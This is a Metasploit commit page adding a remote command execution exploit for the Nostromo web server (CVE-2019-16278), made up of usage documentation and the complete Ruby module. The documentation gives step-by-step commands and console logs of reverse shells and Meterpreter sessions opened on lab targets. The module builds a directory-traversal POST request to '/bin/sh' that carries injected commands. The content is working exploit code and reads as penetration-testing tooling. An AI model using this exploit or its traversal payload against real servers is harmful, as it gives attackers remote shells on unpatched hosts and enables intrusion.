Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Land #12476, add Nostromo dir traversal RCE
- Loading branch information
Showing
2 changed files
with
227 additions
and
0 deletions.
There are no files selected for viewing
93 changes: 93 additions & 0 deletions
93
documentation/modules/exploit/multi/http/nostromo_code_exec.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,93 @@ | |||
## Vulnerable Application | |||
|
|||
Verified against: | |||
|
|||
* Nostromo 1.9.6 on Linux | |||
|
|||
Nostromo sources can be downloaded from http://www.nazgul.ch/dev_nostromo.html | |||
|
|||
## Verification Steps | |||
|
|||
1. Install the application | |||
2. Start msfconsole | |||
3. Do: `use exploit/multi/http/nostromo_code_exec` | |||
4. Do: `set rport <port>` | |||
5. Do: `set rhost <ip>` | |||
6. Do: `check` | |||
7. Do: `set payload linux/x86/meterpreter/reverse_tcp` | |||
8. Do: `set lhost <ip>` | |||
9. Do: `exploit` | |||
10. You should get a shell. | |||
|
|||
## Scenarios | |||
|
|||
Example utilizing nostromo 1.9.6 on Ubuntu Linux. | |||
|
|||
``` | |||
msf5 > use exploit/multi/http/nostromo_code_exec | |||
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9 | |||
RHOSTS => 192.168.1.9 | |||
msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8000 | |||
RPORT => 8000 | |||
msf5 exploit(multi/http/nostromo_code_exec) > check | |||
[*] 192.168.1.9:8000 - The target appears to be vulnerable. | |||
msf5 exploit(multi/http/nostromo_code_exec) > set target 1 | |||
target => 1 | |||
msf5 exploit(multi/http/nostromo_code_exec) > set payload linux/x86/meterpreter/reverse_tcp | |||
payload => linux/x86/meterpreter/reverse_tcp | |||
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10 | |||
LHOST => 192.168.1.10 | |||
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444 | |||
LPORT => 4444 | |||
msf5 exploit(multi/http/nostromo_code_exec) > run | |||
[*] Started reverse TCP handler on 192.168.1.10:4444 | |||
[*] Configuring Automatic (Linux Dropper) target | |||
[*] Sending linux/x86/meterpreter/reverse_tcp command stager | |||
[*] Sending stage (985320 bytes) to 192.168.1.9 | |||
[*] Meterpreter session 2 opened (192.168.1.10:4444 -> 192.168.1.9:52544) at 2019-10-29 16:08:18 +0100 | |||
[*] Command Stager progress - 100.00% done (763/763 bytes) | |||
meterpreter > sysinfo | |||
Computer : nostromo.local | |||
OS : Ubuntu 18.04 (Linux 4.15.0-62-generic) | |||
Architecture : x64 | |||
BuildTuple : i486-linux-musl | |||
Meterpreter : x86/linux | |||
meterpreter > exit | |||
[*] Shutting down Meterpreter... | |||
[*] 192.168.1.9 - Meterpreter session 2 closed. Reason: User exit | |||
``` | |||
|
|||
nostromo 1.9.6 on OpenBSD. | |||
|
|||
``` | |||
msf5 > use exploit/multi/http/nostromo_code_exec | |||
msf5 exploit(multi/http/nostromo_code_exec) > set RHOSTS 192.168.1.9 | |||
RHOSTS => 192.168.1.9 | |||
msf5 exploit(multi/http/nostromo_code_exec) > set RPORT 8001 | |||
RPORT => 8001 | |||
msf5 exploit(multi/http/nostromo_code_exec) > check | |||
[*] 192.168.1.9:8001 - The target appears to be vulnerable. | |||
msf5 exploit(multi/http/nostromo_code_exec) > set target 0 | |||
target => 0 | |||
msf5 exploit(multi/http/nostromo_code_exec) > set payload cmd/unix/reverse_perl | |||
payload => cmd/unix/reverse_perl | |||
msf5 exploit(multi/http/nostromo_code_exec) > set LHOST 192.168.1.10 | |||
LHOST => 192.168.1.10 | |||
msf5 exploit(multi/http/nostromo_code_exec) > set LPORT 4444 | |||
LPORT => 4444 | |||
msf5 exploit(multi/http/nostromo_code_exec) > run | |||
[*] Started reverse TCP handler on 192.168.1.10:4444 | |||
[*] Configuring Automatic (Unix In-Memory) target | |||
[*] Sending cmd/unix/reverse_perl command payload | |||
[*] Command shell session 1 opened (192.168.1.10:4444 -> 192.168.1.9:52312) at 2019-10-29 15:48:28 +0100 | |||
id | |||
uid=536(_nostromo) gid=536(_nostromo) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) | |||
uname -avr | |||
OpenBSD nostromo.local 6.4 GENERIC#349 amd64 | |||
^C | |||
Abort session 1? [y/N] y | |||
[*] 192.168.1.9 - Command shell session 1 closed. Reason: User exit | |||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Original file line | Diff line number | Diff line change |
---|---|---|---|
@@ -0,0 +1,134 @@ | |||
## | |||
# This module requires Metasploit: https://metasploit.com/download | |||
# Current source: https://github.com/rapid7/metasploit-framework | |||
## | |||
|
|||
class MetasploitModule < Msf::Exploit::Remote | |||
Rank = GoodRanking | |||
|
|||
include Msf::Exploit::CmdStager | |||
include Msf::Exploit::Remote::HttpClient | |||
|
|||
def initialize(info = {}) | |||
super(update_info(info, | |||
'Name' => 'Nostromo Directory Traversal Remote Command Execution', | |||
'Description' => %q{ | |||
This module exploits a remote command execution vulnerability in | |||
Nostromo <= 1.9.6. This issue is caused by a directory traversal | |||
in the function `http_verify` in nostromo nhttpd allowing an attacker | |||
to achieve remote code execution via a crafted HTTP request. | |||
}, | |||
'Author' => | |||
[ | |||
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # metasploit module | |||
'sp0re', # original public exploit | |||
], | |||
'License' => MSF_LICENSE, | |||
'References' => | |||
[ | |||
[ 'CVE', '2019-16278'], | |||
[ 'URL', 'https://www.sudokaikan.com/2019/10/cve-2019-16278-unauthenticated-remote.html'], | |||
], | |||
'Platform' => ['linux', 'unix'], # OpenBSD, FreeBSD, NetBSD, and Linux | |||
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64], | |||
'Targets' => | |||
[ | |||
['Automatic (Unix In-Memory)', | |||
{ | |||
'Platform' => 'unix', | |||
'Arch' => ARCH_CMD, | |||
'Type' => :unix_memory, | |||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'} | |||
} | |||
], | |||
['Automatic (Linux Dropper)', | |||
{ | |||
'Platform' => 'linux', | |||
'Arch' => [ARCH_X86, ARCH_X64, ARCH_MIPSBE, ARCH_MIPSLE, ARCH_ARMLE, ARCH_AARCH64], | |||
'Type' => :linux_dropper, | |||
'DefaultOptions' => {'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'} | |||
} | |||
] | |||
], | |||
'DisclosureDate' => 'Oct 20 2019', | |||
'DefaultTarget' => 0, | |||
'Notes' => { | |||
'Stability' => [CRASH_SAFE], | |||
'Reliability' => [REPEATABLE_SESSION], | |||
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] | |||
} | |||
)) | |||
|
|||
register_advanced_options([ | |||
OptBool.new('ForceExploit', [false, 'Override check result', false]) | |||
]) | |||
end | |||
|
|||
def check | |||
res = send_request_cgi({ | |||
'method' => 'GET', | |||
'uri' => normalize_uri(target_uri.path), | |||
} | |||
) | |||
|
|||
unless res | |||
vprint_error("Connection failed") | |||
return CheckCode::Unknown | |||
end | |||
|
|||
if res.code == 200 and res.headers['Server'] =~ /nostromo [\d.]{5}/ | |||
/nostromo (?<version>[\d.]{5})/ =~ res.headers['Server'] | |||
if Gem::Version.new(version) <= Gem::Version.new('1.9.6') | |||
return CheckCode::Appears | |||
end | |||
end | |||
|
|||
return CheckCode::Safe | |||
end | |||
|
|||
def execute_command(cmd, opts = {}) | |||
send_request_cgi({ | |||
'method' => 'POST', | |||
'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'), | |||
'headers' => {'Content-Length:' => '1'}, | |||
'data' => "echo\necho\n#{cmd} 2>&1" | |||
} | |||
) | |||
end | |||
|
|||
def exploit | |||
# These CheckCodes are allowed to pass automatically | |||
checkcodes = [ | |||
CheckCode::Appears, | |||
CheckCode::Vulnerable | |||
] | |||
|
|||
unless checkcodes.include?(check) || datastore['ForceExploit'] | |||
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override') | |||
end | |||
|
|||
print_status("Configuring #{target.name} target") | |||
|
|||
case target['Type'] | |||
when :unix_memory | |||
print_status("Sending #{datastore['PAYLOAD']} command payload") | |||
vprint_status("Generated command payload: #{payload.encoded}") | |||
|
|||
res = execute_command(payload.encoded) | |||
|
|||
if res && datastore['PAYLOAD'] == 'cmd/unix/generic' | |||
print_warning('Dumping command output in full response body') | |||
|
|||
if res.body.empty? | |||
print_error('Empty response body, no command output') | |||
return | |||
end | |||
|
|||
print_line(res.body) | |||
end | |||
when :linux_dropper | |||
print_status("Sending #{datastore['PAYLOAD']} command stager") | |||
execute_cmdstager | |||
end | |||
end | |||
end |